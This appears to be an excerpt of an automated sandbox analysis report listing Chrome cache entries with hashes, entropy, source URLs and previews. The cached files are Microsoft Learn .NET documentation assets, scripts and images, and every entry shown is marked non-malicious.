Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
